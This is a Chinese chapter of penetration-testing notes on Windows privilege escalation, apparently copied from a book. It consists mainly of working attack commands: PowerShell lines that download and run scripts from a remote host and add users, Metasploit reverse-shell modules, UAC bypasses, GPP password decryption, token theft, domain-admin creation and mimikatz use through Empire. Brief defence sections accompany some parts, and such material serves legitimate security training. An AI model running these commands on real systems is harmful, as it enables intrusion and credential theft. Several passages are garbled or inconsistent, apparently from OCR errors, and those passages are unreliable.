• 内网安全攻防:渗透测试指南——第4章 权限提升分析及防御


    第四章——权限提升分析及防御

    目录

    第4章权限提升分析及防御

    4.1.1通过手动执行命令发现缺失补丁

    1.通过whoami/groups查看当前权限

    2.1查看系统补丁

    2.2利用msf发现缺失补丁

    3.Windows Exploit Suggester

    4.powershell 中的Sherlock脚本

    5.通过cs中的elevate提权

    4.2widnows操作系统配置错误利用分析及防范

    4.2.2注册表键AlwasIstallElevated

    4.2.3可信任服务路径漏洞

    4.2.4自动安装配置文件

    4.2.5计划任务

    4.2.6Empire内置模块

    4.3 组策略首选项提权分析及防范

    4.3.1 组策略首选项提权简介

    4.3.2组策略首选项提权分析

    4.3.3 针对组策略首选项提权的防御措施

    4.4 绕过UAC提权分析及防范

    4.4.1 UAC简介

    4.4.2 bypassuac模块

    4.4.3RunAs模块

    4.4.4Nishang中的Invoke-PsUACme模块(/nishang/Escalation/Invoke-PsUACme.ps1)

    4.4.5Empire中的bypassuac模块

    4.4.6针对绕过UAC提权的防御措施

    4.5令牌窃取分析及防范

    4.5.1假冒用户令牌

    4.5.2 Rotten Potato本地提权分析

    4.5.3添加域管理员

    4.5.4Empire下的令牌窃取

    4.5.5针对令牌动取提权的防御措施针对令牌窃取提权的防御措施如下

    4.6无凭证条件下的权限获取分析及防范

    4.6.2 LLMNR和 NetBIOS欺骗攻击分析


    第4章权限提升分析及防御


    在 Windows中,权限大概分为四种、分别是User、Administrator、System、TrustedInstaller。在这四种权限中,我们经常接触的是前三种。第四种权限 TrustedInstaller,在常规使用中通常不会涉及。

    • User:普通用户权限,是系统中最安全的权限(因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料)。
    • Administrator:管理员权限。可以利用Windows 的机制将自己提升为Svstem权限,以便操作SAM文件等。
    • System:系统权限。可以对SAM等敏感文件进行读取,往往需要将Administrator权限提升到System权限才可以对散列值进行Dump操作。
    • TrustedInstaller:Windows中的最高权限。对系统文件,即使拥有System权限也无法进行修改。只有拥有TrustedInstaller权限的用户才可以修改系统文件。

    低权限级别将使渗透测试受到很多限制。在Windows中,如果没有管理员权限,就无法进行获取散列值、安装软件、修改防火墙规则、修改注册表等操作。Windows操作系统中管理员账号的权限,以及 Linux操作系统中root账户的权限,是操作系统的最高权限。提升权限(也称提权)的方式分为以下两类。

    1. 纵向提权:低权限角色获得高权限角色的权限。例如,一个 WebShell权限通过提权,拥有了管理员权限,这种提权就是纵向提权,也称作权限升级。
    2. 横向提权:获取同级别角色的权限。例如,在系统A中获取了系统B的权限,这种提权就属于横向提权。

    常用的提权方法有系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、Web 中间件漏洞提权、DLL 劫持提权、滥用高权限令牌提权、第三方软件/服务提权等。

    4.1.1通过手动执行命令发现缺失补丁

    1.通过whoami/groups查看当前权限

    2.1查看系统补丁

    1.  
      systeminfo
    2.  
      Wmic qfe get Caption,Description,HotFixID,InstalledOn

    对系统补丁包进行过滤,查找指定补丁

    wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"kb3143141" /C:"KB976902"

    如果目标机器存在MS16-032(KB3139914)漏洞,可以通过metasploit或者powershell下的Invoke-MS16-032.ps1脚本进行提权,通过ps脚本可以执行任意程序,且可以带参数执行,无弹窗

    1.  
      PS C:\Users\q\Desktop> ..\Invoke-MS16-032.ps1
    2.  
      PS C:\Users\q\Desktop> Import-Module .\Invoke-MS16-032.ps1
    3.  
      PS C:\Users\q\Desktop> Invoke-MS16-032 -Application cmd.exe -Commandline "/c net user 1 1 /add"
    4.  
       
    5.  
      PS C:\Users\q\Desktop> Invoke-MS16-032 -Application notepad.exe #打开记事本程序
    6.  
      powershell -nop -exec bypass -c "IEX (NEW-Object Net.WebClient).DownloadString('http://1.1.1.6/a.txt');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user 2 test /add'" #远程下载,提权,添加用户

    2.2利用msf发现缺失补丁

    1.  
      msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/windows/gather/enum_patches
    2.  
      msf6 post(windows/gather/enum_patches) > show options
    3.  
      msf6 post(windows/gather/enum_patches) > run

    3.Windows Exploit Suggester

    1.  
      https://github.com/AonCyberLabs/Windows-Exploit-Suggester
    2.  
       
    3.  
      ┌──(rootkali)-[/home/kali/Downloads/Windows-Exploit-Suggester-master]
    4.  
      └─# ./windows-exploit-suggester.py --update
    5.  
      ┌──(rootkali)-[/home/kali/Downloads/Windows-Exploit-Suggester-master]
    6.  
      └─# pip install xlrd --upgrade
    7.  
      ┌──(rootkali)-[/home/kali/Downloads/Windows-Exploit-Suggester-master]
    8.  
      └─# ./windows-exploit-suggester.py -d 2020-12-23-mssb.xls -i patches.txt

    4.powershell 中的Sherlock脚本

    1.  
      PS C:\Users\q\Desktop> Import-Module .\Sherlock.ps1
    2.  
      PS C:\Users\q\Desktop> Find-AllVulns

    5.通过cs中的elevate提权

    1.  
      getuid
    2.  
      elevate uac-token-duplication
    3.  
      elecate svc-exe

    4.2widnows操作系统配置错误利用分析及防范

    1.PowerUp下的实战利用

    1.  
      在渗透测试中可以执行以下两条命令
    2.  
      powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
    3.  
      powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://1.1.1.6/powersploit/Privesc/PowerUp.ps1'); Invoke-AllChecks"
    4.  
       
    5.  
      PS C:\Users\q\Desktop> powershell.exe -exec bypass "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Invoke-AllChecks" #将powerup上传至目标服务器,执行此命令
    6.  
       
    7.  
      powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}" #cmd命令行下执行

    利用服务漏洞添加用户(未添加成功)

    PS C:\Users\q\Desktop> powershell.exe -exec bypass "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Install-ServiceBinary -ServiceName 'MozillaMaintenance' -UserName firefox -Password 123"

    2.Metasploit下的实战利用

    在Metasploit应用模块是service_permissions。选择“AGGRESSIVE”选项,可以利用目标机每一个有缺陷的服务。该选项被禁用时,该模块在第一次提权成功后就会停止工作
    service_permissions模块使用两种方法来获得System权限:如果meterpreter 以管理员权限运行,该模块会尝试创建并运行一个新的服务;如果当前权限不允许创建服务,该模块会判断哪些服务的文件或者文件夹的权限有问题,并允许对其进行劫持。在创建服务或者劫持已经存在的服务时,该模块会创建一个可执行程序,其文件名和安装路径都是随机的。

    1.  
      msf6 > use exploit/windows/local/service_permissions
    2.  
      [*] Using configured payload windows/x64/meterpreter/reverse_tcp
    3.  
      msf6 exploit(windows/local/service_permissions) > show options
    4.  
      msf6 exploit(windows/local/service_permissions) > set LHOST 1.1.1.5
    5.  
      LHOST => 1.1.1.6
    6.  
      msf6 exploit(windows/local/service_permissions) > set SESSION 3
    7.  
      SESSION => 3
    8.  
      msf6 exploit(windows/local/service_permissions) > run #执行后会自动反弹一个新的meterpreter(system)权限

    4.2.2注册表键AlwasIstallElevated

    注册表键AlwaylanalElvated是一个策略设置项。Windows 允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限的用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI文件。

    1.PathsAlwaysInstallElevated漏洞产生的原因

    该漏洞产生的原因是用户开启了Windows Installer特权安装功能

    在“运行”设置柜中输入"gpedit.msc",打开组策略编辑器。

    • 组装略——计算机配置——管理模板——Windows组件——Windows Insaller——永远以高特权进行安装:选择启用。
    • 组策略——用户配置-——管理模板——Windows组件——Windows Intaller——永远以高特权进行安装:选择启用。

    设置完毕,会在注册表的以下两个位置自动创建键值“1”。

    • HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstall Elevated
    • HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstall Elevated

    2. Windows Installer的相关知识点
    Install是Windows 操作系统的组件之一, 专门用来管理和配置软件服务。Windows Installer 除了是一个安装程序,还用于管理软件的安装管理软件组件的添加和删除,监视文件的还原、通过回滚进行灾难恢复等。
    Windowrs Installer分为客户端安装服务(Msiexec.exe)和MSI文件两部分。Windows Installer通过Msiexec.exe安装MSI文件包含的程序。MSI文件是Windows Installer的数据包,它实际上是一个数据库,包含安装和卸载软件时需要的大量指令和数据。Msiexec.exe用于安装MSI文件,一般在运行Microsoft Update安装更新或者安装一些软件的时候使用,占用内存较多。简单来说,双击MSI文件就会运行Msiexec.exe。

    3.PowerUp下的实战使用

    可以使用PowerUp的Get-RsigtyswiylstnlElvatee模块来检查注册表键是否被设置。如果AlwaysInstallElevated注册表键已经被设置,就意味着MSI文件是以System 权限运行的。

    1.  
      C:\> powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Get-RegistryAlwaysInstallElevated #运行该模块,True代表已经设置。
    2.  
       
    3.  
      PS C:\> Write-UserAddMSI #管理员权限运行
    4.  
      PS C:\> msiexec /q /i UserAdd.msi #普通用户权限运行
    5.  
      /quiet 在安装过程中禁止向用户发送消息
    6.  
      /qn 不使用GUI
    7.  
      /i 安装程序
    8.  
      也可以利用Msf的use exploit/windows/local/always_install_elevated完成上述操作

    4.2.3可信任服务路径漏洞

    可信任服务路径(包含空格且没有引号的路径)漏洞利用了Windows 文件路径解析的特性并涉及服务路径的文件/文件夹权限(存在缺陷的服务程序利用了属于可执行文件的文件/文件夹的权限)。如果-个服 务调用的可执行 文件没有正确地处理所引用的完整路径名, 这个漏洞就会被攻击者用来上传任意可执行文件。也就是说,如果一个服务 的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。

    该漏洞存在如下两种可能

    1. 如果路径与服务有关,就任意创建一个服务或者编译Sericce模板。
    2. 如果路径与可执行文件有关,就任意创建个可执行文件。

    1. Trusted Service Paths漏洞产生的原因
    因为windows服务通常都是以System权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限进行。
    例如,有一个文件路径"C:\Program Files\ Some Folder\Service.exe",对于该路径中的每一个空格,Windows 都会尝试寻找并执行与空格前面的名字相匹配的程序。操作系统会对路径中空格的所有可能情况进行尝试,直至找到一个能够匹配的程序。
    在本例中,Windows 会依次尝试确

    • C:\Program.exe
    • C:\Program Files\ Some.exe
    • C:\Program Files\ Some Folder\Service.exe

    因此,如果一个被“适当”命名的可执行程序被上传到可受影响的目录中,服务一旦重启,该程序就会以Syten权限运行(在大多数情况下),
     

    2. Metasploit 下的实战利用
    首先,检测目标机器中是否存在该漏洞。使用wmic查询命令,列出目标机器中所有没有被引号引起来的服务路径。

    1.  
      wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
    2.  
      icacls "存在双引号的服务路径" #查看权限
    3.  
      Everyone: 用户对这个文件夹有完全控制权限。也就是说,所有用户都具有修改这个文件夹的权限。
    4.  
      (M):修改。
    5.  
      (F): 完全控制。
    6.  
      (CI): 从属容器将继承访问控制项。
    7.  
      (OI): 从属文件将继承访问控制项。
    8.  
      "Everyone:(ODCDXF)"的意思是,对该文件夹,用户有读、写、删除其下文件、删除其子目录的权限。
    9.  
       
    10.  
      确认目标机器中存在此漏洞后,把要上传的程序重命名并放置在存在此漏洞且可写的目录下,执行如下命令,尝试重启服务。
    11.  
      sc stop service name
    12.  
      sc start service name

    也可以使用msf中的WINDOWS Service Trusted Path Privilege Escalation模块进行渗透测试。该模块会将可执行程序放到受影响的文件夹中,然后讲受影响的服务重启

    1.  
      msf6 > use exploit/windows/local/unquoted_service_path
    2.  
      [*] Using configured payload windows/x64/meterpreter/reverse_tcp
    3.  
      msf6 exploit(windows/local/unquoted_service_path) > set SESSION 5
    4.  
      SESSION => 5
    5.  
      msf6 exploit(windows/local/unquoted_service_path) > set LHOST 1.1.1.5
    6.  
      LHOST => 1.1.1.5
    7.  
      msf6 exploit(windows/local/unquoted_service_path) > run #命令执行后,反弹一个新的meterpreter,但是反弹的会很快终端,需迁移进程
    8.  
       
    9.  
      在渗透测试中,需要在终止载荷进程之前将它迁移到其他进程中,可以使用“set AutoRunScript migrate -f"命令自动迁移进程

    4.2.4自动安装配置文件

    网络管理员在内网中配置同一个环境是,通常会采用脚本化批量部署。在这个过程中,会使用配置文件。这些文件可能包含本地管理员账户密码信息。这些文件列举如下

    • C:\sysprep.inf
    • C:\sysprep\sysprep.xml
    1.  
      也可以执行如下命令,搜索Unattend.xml文件
    2.  
      dir /b /s c:\Unattend.xml

    Metasploit集成了该漏洞的利用模块post/windows/gather/enum_unattend

    1.  
      msf6 > use post/windows/gather/enum_unattend
    2.  
      [*] Using configured payload windows/x64/meterpreter/reverse_tcp
    3.  
      msf6 post(windows/gather/enum_unattend) > show options
    4.  
       
    5.  
      Module options (post/windows/gather/enum_unattend):
    6.  
       
    7.  
      Name Current Setting Required Description
    8.  
      ---- --------------- -------- -----------
    9.  
      GETALL true yes Collect all unattend.xml that are found
    10.  
      SESSION yes The session to run this module on.
    11.  
       
    12.  
      msf6 post(windows/gather/enum_unattend) > set SESSION 5
    13.  
      SESSION => 5
    14.  
      msf6 post(windows/gather/enum_unattend) > run

    4.2.5计划任务

    schtasks /query /fo LIST /v    #查看计算机计划任务

    AccsChk是Syslnteraks 套件中的一个工具,由Mnk Rusnoih编写用于在Wndows中进行一些系统或程序的高级查询、管理和故障排除工作,基于杀毒软件的检测等,攻击者会尽量避免接触目标机器的磁盘。而AcsCce是微软官方提供的工具,一般不会引起杀毒软件的报警,所以经常会被攻击者利用。
    执行如下命令,查看指定目录的权限配置情况。如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序。这样,在计划任务下次执行时,就会以高权限来运行恶意程序。

    accesschk.exe -dqv "C:\Microsoft" -accepteula

    下面是几个常用的AccessChk命令。

    1.  
      第一次运行Sysntemals工具包里的工具时,会弹出一个许可协议对话框。在这里,可以使用参数/accepteula自动接受许可协议,命令如下。
    2.  
      accesschk.exe /accepteula
    3.  
       
    4.  
      列出某个驱动器下所有权限配置有缺陷的文件夹,命令如下。
    5.  
      accesschk.exe -uwdqsUsersc:\
    6.  
      accesschk.exe -uwdqg"AuthenticatedUsers"c:\
    7.  
       
    8.  
      列出某个驱动器下所有权限配置有缺陷的文件,命令如下。
    9.  
      accesschk.exe -uwqsUsersc:\*.*
    10.  
      accesschk.exe -uwqs"AuthenticatedUsers"c:\*.*

    4.2.6Empire内置模块

    Empire内置了PowerUp的部分模块

    1.  
      usemodule privesc/powerup Tab #查看模块列表
    2.  
      usemodule privesc/powerup/allchecks
    3.  
      execute
    4.  
      AllChecks模块的应用对象如下
    5.  
      没有被引号引起来的服务的路径。
    6.  
      ACL配置错误的服务(攻击者通常通过“service_*”利用它)。
    7.  
      服务的可执行文件的权限设置不当(攻击者通常通过“service_exe_*”利用它)。
    8.  
      Unattend.xml 文件。
    9.  
      注册表键AlwaysInstallElevated。
    10.  
      如果有Autologon 凭证,都会留在注册表中。
    11.  
      加密的web.config字符串和应用程序池的密码。
    12.  
      %PATH%.DLL的劫持机会(攻击者通常通过 write_dllhijacker利用它).

    4.3 组策略首选项提权分析及防范

    4.3.1 组策略首选项提权简介

    SYSVOL是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。SYSVOL在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享。整个SYsVOL目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在C:Windows\SYSVOL\DOMAIN\Policicsl目录中。

    在一般的域外现中,所月机宿都是脚本化批量部署的,数据量通常很大。为了方便地对所有的机器进仃探IP,的上符胡比工公使用域策略进行统一的配置和管理。大多数组织在创建域环境后,会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员密码的安全性,这些组织的网络管理员修改本地管理员密码。尽管如此,安全问题依旧存在。通过组策略统一修改的密码,虽然强度有所提高,但所有机器的本地管理员密码是相同的。攻击者获得了一台机器的本地管理员密码,就相当于获得了整个域中所有机器的本地管理员密码。

    常见的组策略首选项(Group Policy Preferences,GPP)列举如下

    • 映射驱动器(Drives.xml )。
    • 创建本地用户。
    • 数据源(DataSources.xml )
    • 打印机配置(Printers.xml )
    • 创建/更新服务((Services.xml )
    • 计划任务(ScheduledTasks.xml )

    4.3.2组策略首选项提权分析

    1、前提:管理员通过组策略统一修改过密码
    在域控上执行:开始——>运行——>输入gpmc.msc——>选择test.com——>右键组策略对象——>新建一个test组策略——>弹出一个组策略管理编辑器,然后计算机配置——>首选项——>控制面板设置—本地用户和组 右键本地用户和组——>新建——>本地用户

    gpupdate    #域中的机器从域控制器处获得组策略的更新信息
    

    2.获取组策略的凭据
    管理员在域中新建一个组策略后,操作系统公日动在 SYSVOL 共享目录中生成一个 XML文件,该文件中保存了该组策略更新后的出调。该密码使用 AES-256加密算法,安全性还是比较高的。但是,2012年微软在官方网站公布了密码的私钥,因此保存在XML文件中的密码的安全性大大降低。任何域用户和域信仕的用尸均可对该共享目标进行访问,这就意味着,任何用户都可以访问保存在XML文件中的密码开将解密,从而域控中所有使用该账户/密码的本地管理员计算机。在SYSVOL中搜索,可以找到包含cpassword 的 XML文件。

    (1)手动查找cpassword

    浏览SYSVOL文件夹,获取相关文件

    1.  
      type \\dc\sysvol\pentest.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
    2.  
      #cpassword采用AES-256加密,加密后用户名gpp为‘LdN1Ot2OIIjsc/e+nROCMw'
    3.  
      python gpprefdecrypt.py LdN1Ot2OIIjsc/e+nROCMw #解密

    2.使用powershell获取cpassword

    1.  
      powersploit提供了Get-GPPPassword.ps1脚本,将脚本导入系统
    2.  
      PS: Get-GPPPassword

    3.使用Metasploit查找cpassword

    1.  
      msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/windows/gather/credentials/gpp
    2.  
      [*] Using configured payload windows/x64/meterpreter/reverse_tcp
    3.  
      msf6 post(windows/gather/credentials/gpp) > show options
    4.  
      msf6 post(windows/gather/credentials/gpp) > set SESSION 6
    5.  
      SESSION => 6
    6.  
      msf6 post(windows/gather/credentials/gpp) > run

    4.使用Empire查找cpassword

    1.  
      usemodule privesc/gpp
    2.  
      info
    3.  
      execute

    除了Groups.xml是几个组策略首选项文件中有可选的cpassword 属性,列举如下

    • Services\Scrvices.xml
    • scheduledTasks\ScheduledTasks.xml.
    • Printers\Printers.xml
    • Drives\Drives.xml
    • DataSources\DataSources.xml


    4.3.3 针对组策略首选项提权的防御措施


    在用于管理组策略的计算机上安装KB2962486补丁,防止新的凭据被放置在组策略首选项中。微软在2014年修复了组策略首选项提权漏洞,使用的方法就是不再将密码保存在组策略首选项中。

    此外,需要对 Everyone 访问权限进行设置,具体如下

    • 设置共享文件夹SYSVOL的访问权限。
    • 将包含组策略密码的XML文件从SYsVOL目录中删除
    • 不要把密码放在所有域用户都有权访问的文件中
    • 如果需要更改域中机器的本地管理员密码,建议使用LAPS

    4.4 绕过UAC提权分析及防范


    如果计算机的操作系统版本是Windows Vista或更高,在权限不够的情况下,访问系统磁盘的根目录(例如C:) Windows目录、Program Files目录,以及读、写系统登录数据库(Registry)的程序等操作,都需要经讨UAC (User Account Control,用户账户控制)的认证才能进行。

    4.4.1 UAC简介

    UAC是微软为提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或者在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免思意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设詈进行更改。在Windows Vista及更高版本的操作系统中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限,中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁的损害最小。

    需要UAC的授权才能进行的操作列举如下

    • 配置Windows Update。
    • 增加/删除账户。
    • 更改账户类型。
    • 更改UAC的设置。
    • 安装ActiveX。
    • 安装/御载程序。
    • 安装设备驱动程序。
    • 将文件移动/复制到Program Files或Windows目录下。
    • 查看其他用户的文件夹。

    UAC有如下四种设置要求。

    1. 始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户。
    2. 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地 Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户。
    3. 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度。
    4. 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行

    4.4.2 bypassuac模块

    假设获取了目标机器的Meterpreter shell ,当前权限为普通用户权限,现在尝试系统的System权限。

    首先,运行exploit/windows/local/bypassuac模块,获得一个新的meterpreter Shel。然后,执行“getsystem”命令。再次查看权限,发现已经绕过UAC,获得了Svstem权限。

    在使用bypassuac模块提权时,当前用户必须在管理员组中,且UAC必须为默认设置。
    当bypassuac模块运行时,会在目标机上创建多个文件,这些文件会被杀毒软件识别。但因为exploit/windows/local/bypassuac_injecton模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。

    1.  
      msf6 > use exploit/windows/local/bypassuac
    2.  
      [*] Using configured payload windows/x64/meterpreter/reverse_tcp
    3.  
      msf6 exploit(windows/local/bypassuac) > show options

    4.4.3RunAs模块

    使用exploit/windows/local/ask模块,创建一个可执行文件,目标机器上会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个高权限的meterpreter shell

    1.  
      要想使用该模块提权,当前用户必须在管理员组或者知道管理员的密码,对UAC的设置无要求,在使用RunAs模块时,需要使用EXE:Custom选项创建一个可执行文件(需进行免杀处理)
    2.  
      msf6 > use exploit/windows/local/ask
    3.  
      [*] Using configured payload windows/x64/meterpreter/reverse_tcp
    4.  
      msf6 exploit(windows/local/ask) > show options
    5.  
      msf6 exploit(windows/local/ask) > set SESSION 6
    6.  
      SESSION => 6
    7.  
      msf6 exploit(windows/local/ask) > set LHOST 1.1.1.5
    8.  
      LHOST => 1.1.1.5
    9.  
      msf6 exploit(windows/local/ask) > run
    10.  
       
    11.  
      getuid
    12.  
      getsystem

    4.4.4Nishang中的Invoke-PsUACme模块(/nishang/Escalation/Invoke-PsUACme.ps1)

    1.  
      PS C:\Users\q\Desktop> Import-Module .\Invoke-PsUACme.ps1
    2.  
      PS C:\Users\q\Desktop> Invoke-PsUACme -Verbose
    3.  
      PS C:\Users\q\Desktop> Invoke-PsUACme -method oobe -Verbose
    4.  
      PS C:\Windows\temp> Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e mypayload"
    5.  
       
    6.  
      除此之外,可以使用-PayloadPath参数指定payload路径,使用-CustomDll64或-CustomDLL32参数,可以自定义DLL文件

    4.4.5Empire中的bypassuac模块

    1.  
      1.bypassuac模块
    2.  
      usemodule privesc/bypassuac #设置监听参数
    3.  
      execute
    4.  
       
    5.  
      2.bypassuac_wscript模块
    6.  
      usemodule privesc/bypassuac_wscript
    7.  
      set Listener lab
    8.  
      execute #带*的角色提权成功

    4.4.6针对绕过UAC提权的防御措施


    在企业网络环境中,防止绕过UAC的最好的方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。在家庭网络环境中,建议使用非管理员权限进行日常办公和娱乐等活动。使用本地管理员权限登录的用户,要将UAC设置为“始终通知”或者删除该用户的本地管理员权限(这样设置后,会像在 Windows Vista中一样,总是弹出警告)。另外,可以使用微软的EMET 或MalwareBytes来更好地防范0day漏洞。

    4.5令牌窃取分析及防范


    令牌(Token)是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个用户的。获得了令牌,就可以在不提供密码或其他凭证的情况下访问网络和系统资源。这些令牌将持续存在干系统中(除非系统重新启动)。令牌的最大特点是随机性和不可预测性。一般的攻击者或软件都无法将令牌猜测出来。访问令牌(Access Token )代表访问挖制损作主休的系统对象。密保令牌(Security Token )也叫作认证令牌或者硬件令牌,是一种用干实现计管机身份校验的物理设备,例如U盾。会话令牌(SessionToken)是交互会话中唯一的身份标识符。伪造令牌攻击的核心是Kerheros协议, Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提做强大的认证服务。Kerberos协议的工作机制如下图所示

    客户端请求证书的过程如下

    1. 客户端向认证服务器发送请求,要求得到证书。
    2. 认证服务器收到请求后,将包含客户端密钥的加密证书发送给客户端。该证书包含服务器Ticket(包含由服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(又称为会话密钥,Session Key)。当然,认证服务器也会向服务器发送一份该证书,使服务器能够验证登录的客户端的身份。
    3. 客户端将Ticket传送给服务器。如果服务器确认该客户端的身份,就允许它登录服务器。

    客户端登录服务器后,攻击者就能通过入侵服务器来窃取客户端的令牌。

    4.5.1假冒用户令牌

    假设已经获得了目标机器的 meterpreter Shell。首先输入“use incognito”命令,然后输人“list_tokens -u”命令,列出可用的令牌

    1.  
      meterpreter > use incognito
    2.  
      meterpreter > list_tokens -u
    3.  
       
    4.  
      这里有两种类型的令牌:一种是Delegation Tokens,也就是授权令牌,它支持交互式登录(例如,可以通过远程桌面登录及访问);另一种是Impersonation Tokens,也就是模拟令牌,它支持非交互式的会话。令牌的数量其实取决于meterprcter shell的访问级别,假设已经获得了一个系统管理员的授权令牌,如果攻击者可以伪造这个令牌,便可以拥有它的权限。

    meterpreter > impersonate_token WIN7\\q    #在incognito中调用inpersonate_token,假冒用户q进行测试,WIN7是机器名,q为用户名,中间需要\\隔开
    

    4.5.2 Rotten Potato本地提权分析


    如果目标系统中存在有效的令牌,可以通过Rotten Potato程序快速模拟用户令牌来实现权限的提升。首先输入“use incognito”命令,然后输入“list_tokens -u”命令,列出可用的令牌

    下载完成后,RottenPotato目录下会有一个rottenpotato.exe可执行文件。执行如下命令,将 rottenpotatocxe上传列日标机器中

    1.  
      meterpreter > upload /home/kali/Downloads/rottenpotato.exe
    2.  
      meterpreter > use incognito
    3.  
      meterpreter > list_tokens -u
    4.  
      meterpreter > execute -HC -f rottenpotato.exe
    5.  
      meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"

    4.5.3添加域管理员

    在meterpreter会话中使用ps命令查找域管理进程,并使用migrate命令迁移到该进程,进入shell

    1.  
      net user sec 123456Bo /ad /domain #添加域用户
    2.  
      net group "domain admins" sec /ad /domain #添加到域管理员组
    3.  
      net group "domain admins" /domain #查看域管理员组
    4.  
       
    5.  
      同样在meterpreter中可以使用incognito来模拟域管理员,然后通过迭代系统中所有可用的身份验证令牌来太添加域管理员
    6.  
      add_user sec 12345Bo -h 1.1.1.8
    7.  
      net group "domain admins" sec -h 1.1.1.8

    4.5.4Empire下的令牌窃取

    1.  
      (Empire: listeners) > uselistener http
    2.  
      (Empire: listeners/http) > info
    3.  
      (Empire: listeners/http) > set Host http://1.1.1.6
    4.  
      (Empire: listeners/http) > set Port 8888
    5.  
      (Empire: listeners/http) > set Name sec
    6.  
      (Empire: listeners/http) > execute
    7.  
      (Empire: listeners) > launcher powershell sec
    8.  
       
    9.  
      (Empire: agents) > interact N78Z9653
    10.  
      (Empire: N78Z9653) > mimikatz
    11.  
      (Empire: N78Z9653) > creds
    12.  
      (Empire: N78Z9653) > pth 2
    13.  
      (Empire: N78Z9653) > revtoself #恢复令牌权限
    14.  
       
    15.  
       

    4.5.5针对令牌动取提权的防御措施针对令牌窃取提权的防御措施如下

    • 及时安装微软推送的补丁。
    • 对来路不明的或者有危险的软件,既不要在系统中使用,也不要在虚拟机中使用。
    • 对令牌的时效性进行限制,以防止散列值被破解后泄露有效的令牌信息。越敏感的数据,其令牌时效应该越短。如果每个操作都使用独立的令牌,就可以比较容易地定位泄露令牌的操作或环节。
    • 对于令牌,应采取加密存储及多重验证保护。
    • 使用加密链路SSL/TLS传输令牌,以防止被中间人窃听。

    4.6无凭证条件下的权限获取分析及防范

    在本节的实验中,假设已经进入目标网络,但没有获得任何凭证,使用LLMNR 和NetBIOS欺骗攻击对目标网络进行渗透测试。

    4.6.1 LLMNR 和 NetBIOS欺骗攻击的基本概念

    1.LLMNR
    本地链路多播名称解析(LLMNR)是一种域名系统数据包格式。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR解析本地网段中机器的名称,直到 DNS服务器恢复正常为止。从 Windows Vista版本开始支持LLMNR。LLMNR支持IPv6。
    LLMNR的工作流程如下:

    1. DNS客户端在自己的内部名称缓存中查询名称。
    2. 如果没有找到,主机将向主 DNS发送名称查询请求。
    3. 如果主DNS没有回应或者收到了错误的信息,主机会向备DNS发送查询请求。
    4. 如果备DNS没有回应或者收到了错误的信息,将使用LLMNR进行解析。
    5. 主机通过UDP协议向组播地址224.0.0.252的5355端口发送多播查询请求,以获取主机名所对应的P地址。查询范围仅限于本地子网。
    6. 本地子网中所有支持 LLMNR 的主机在收到查询请求后,会对比自己的主机名。如果不同,就丢弃;如果相同,就向查询主机发送包含自己IP地址的单播信息。

    2.NetBIOS
    NetBIOS是一种网络协议,一般用在由十几台计算机组成的局域网中(根据NetBIOS协议广播获得计算机名称,并将其解析为相应的IP地址)。在Windows NT 以后版本的所有操作系统中均可使用NetBIOS。但是,NetBIOS不支持IPv6。

    NetBIOS提供的三种服务如下。

    • NetBIOS-NS(名称服务):主要用于名称注册和解析,以启动会话和分发数据包。该服务需要使用域名服务器来注册NetBIOS 的名称,默认监听UDP137端口,也可以使用TCP137端口。
    • Datagram Distribution Service(数据报分发服务):无连接服务。该服务负责错误检测和恢复,默认监听UDP 138端口。
